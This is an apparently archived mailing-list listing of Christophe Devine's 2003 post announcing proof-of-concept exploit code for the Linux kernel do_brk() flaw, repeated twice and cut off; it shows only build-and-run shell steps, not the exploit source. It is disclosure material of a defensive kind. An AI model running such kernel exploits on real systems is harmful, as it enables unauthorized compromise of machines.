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Message:
Linux kernel do_brk() proof-of-concept exploit code
Dec 02 2003 03:16AM
Christophe Devine (DEVINE iie cnam fr)
The following program can be used to test if a x86 Linux system
is vulnerable to the do_brk() exploit; use at your own risk.
$ nasm brk_poc.asm -o a.out
$ chmod 755 a.out
$ uname -a
Linux test3 2.4.22-10mdk #1 Thu Sep 18 12:30:58 CEST 2003 i686 unknown unknown GNU/Linux
$ ./a.out &
[1] 1698
$ ca...
[ more ]
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The following program can be used to test if a x86 Linux system
is vulnerable to the do_brk() exploit; use at your own risk.
$ nasm brk_poc.asm -o a.out
$ chmod 755 a.out
$ uname -a
Linux test3 2.4.22-10mdk #1 Thu Sep 18 12:30:58 CEST 2003 i686 unknown unknown GNU/Linux
$ ./a.out &
[1] 1698
$ ca...
[ more ]